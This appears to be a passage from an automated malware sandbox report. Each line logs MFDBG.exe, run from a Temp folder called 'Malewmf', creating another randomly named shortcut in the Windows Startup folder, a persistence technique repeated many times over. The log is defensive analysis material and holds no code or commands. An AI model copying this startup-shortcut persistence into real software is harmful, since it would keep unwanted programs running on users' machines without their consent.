Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09e3dcb0d04b4edbbd9d2be9ee9d8db2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe3e22a5cd27431b918c1dfdba8511de.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_892e61d4a4e246f9b40d4070b7579b7b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed0bf28d96ba4e7a90433560f8efc86c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dc1285023bd420682de11bb2a71fb44.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81aef1ca25254f2c9f1a0efad6e86607.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d74dea811c4544e68702619f2f0e7192.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7a16febdd494848a699d5383d1e5b48.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_341bb7b5582b49609cc2d0e677190a3a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63204641a95644258f39a453d2c90675.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9352013fef514dbd99394b2a2fc1d8e8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7eaed14f64c497fbdce24fb9b969c26.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c4d3331613c415e85bca83358ae4f3a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_44bd4964c259424e97b3823bc805dbbd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c223b32efe5547e2a3f8b745db182b0f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_768d1525a6ed483d8b79b584c151cebe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53fb3bd0c39f4a958c95d3b048ce79a1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01d7a38e785c4aa89f351d9c2810c1e1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8907fe635da646e4872837f438833bee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_df03a40df7ad40d0819e45451f9c1fae.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69b56b59db19469c9aca224c1c65dc6b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8d81aeec5c6454d916a5df05e9a3f89.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd58754fc3a945719ca732a998602fc9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a48b434b5de24134b68fb4f1c307b41c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d337e8647e94e96859b6bc133503773.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06165b1d6b664b5e86d478972d965c3a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af3af6aee69b43088de5d06f31e379f0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40d7c41b521d4770a517fa80b9b85a2f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ff2eaadaf234373ad38b8869de3f242.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b57b073dd944b42965210fb9319c57b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6c62a64244f441fb5dc87c9bbd1e47a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ee36e988051456494d438d6bacfd8d2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c6df182813c4aa6a86aaea14920b935.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cbce2985e29d45f1b5e05f70743ebace.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c342f47409694bfaa385595d164d8103.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fc43c5d0d6440f192c143f917d16b4a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33391cf13f354b61ada90f57c31ad046.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9e9b71df7e74fb78dc3194b8f7967b0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d7e406ce5974947bdc9493bc77e18f7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51d8e533a3c47a98e68cb1ccb5aa2e7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74e34057cfb4321aff7029dc61d0c99.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_245e789e7cf941b584b8d64a731b57ea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f394e560da884f218d4d174761443775.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4017c603241b408aacaf6b62616f3387.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bf0738652fd14533a84754e2181230ef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e09f473151f143708d16f28544d8e6f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_475acb4d40b5484daa69ad5b975ccf21.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3609da433ccd491a95d89be0c83d977f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_017e6a6b5d394cb498a73f1f00525326.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5c73ebc5d854883ba34c91e58c60c38.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5880f24e0b7406e80953d578a4a1ae0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ea9dd2aefed4d1bade39ce4a8fb63ec.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d35789e73b36439093fc8282c6d719c1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcdecea6209c4159a6ad4d17abc33f4b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e298dcf407b4a058d7c296bbab771fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc8535ec4f724213b4d1bd7019e68b34.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29c09eee5d854331a86972971f43b58a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d64ea97b2364ea791702b5bde60b953.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0177c0828b4dc49c129371314006c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30021e49c9024d8598d161192bf88011.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_307886165e464921aa1476cb60b7074c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2066b51c32ba4e61a8eed11a08a1c71f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b17e7b0f75b4058b63861e49ea7b512.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a68eddae1914e31a709071f6abc223a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bd360f017e345fa86d057536ad4f522.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ed73e1a1b84af090ed410af0795e09.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93f5487182ce40a88a71a4d2cc51634d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36d072f891074d94ae8ee0b528ec097a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bafb6b97d424fe7807bf2ca43b54b6f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3638ea4972dc4bbb9cf046c1ef87bc7e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27c19a4f3fad42ce9751c2b8e09e64ef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75ce9b99bbaa44209ff7f622416b0721.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a15294d18aa45578e63e6b6310b9bf5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7908ac5f49e54536807b20fecdf77825.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8948a144fa94fd89a26f0fd5e8662d5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24b03bbcdcc94b669b3d586084339082.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_062df8eb1ecb4b5f9c50e93c669afef5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a847ec8b9c2e4a94b2e0dcfb7fff20fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5341c85c3bf42749041840cb418f84c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b90931ab9ce44f392202d6e18fc6f03.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b01cdfae68524a3482baa9c671f97148.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4aa9c81e5d84142b432bf9b01384f40.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_239a0aaf783848539413a43771cb6a52.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45e7d180e9c14aef91b861c650164caf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f47c171e690d4b0699c72a82229c15cd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f1fc5f1f3434908a5ca534ead5d4837.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_49ba90fb1762414f9457e97b21a8e404.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f470ccf3d44b48a18282adb2bc22ac19.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b057ec2bd0c348378b631d5935d81a41.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e942cdb351be4dd2b9c9c7aac6676aff.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e005f46db1714f66941dc766c86f6feb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b89afc260f740ad8cc4ec0e91022528.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3958687753084f999d10cc575d007862.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_355ea350ede34aee8c6f4405472af6e0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f98804a0cd6840998a6537020e2b674f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7a783f0a3b0495bbd3de794711e9797.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a958991a984bb0a2b9adf2a4645b4a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3bdcab68685b4192bec69ea8634e429c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750a8892a57d4535a0f8505307a88b48.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_171c4d2fa7de4fa1b9803be0f00a8ebe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6abd362aa874bb3afcfb9932c44e746.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6413f07228bf47ecba0251da93e50f1f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30490dabc6844727b73e8e52691c0e60.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcbf874b8a964199a56ff2ea752269dc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_776ad5f164614ce691eb6b14555bdf2f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5140013bd524588a82e603e4a25c8f4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65b16a18bbec4ca6a0f94c2581bf5aa7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55bb0b6241f144038e619559450cc027.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_506c20782e804d259dd6ace9e91ee497.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64063bfef1c54d9cb8893495e95ac390.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750cc4a4acdf46bb8e0f3268e69c19f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58f1d4805098494e9f52fb2ff6430c09.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0cd1473aef6b4f7caeb6929298d6e14d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cc307867aeb4819bf7f31ef416446f1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df2e3404f2f4a3886801fb2c2554f7f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ece3ffb69f745669cf4dc80761961f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73e8b78942c84cebafed46b2026986ac.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a512bef118d466c86971eae5e0748fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_47c5ef22bb674020bbb61448020c57ff.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798460e03d46483d94b53e22adf2a27d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_711feef794b24e69b333bd32382bcc61.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6128621d8704ee88f0f9f8751f4f055.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97925695eaeb4fa99ef3d07b3364a3aa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b538170f89d74383a2aa1cc9f8178927.lnk	Jump to behavior
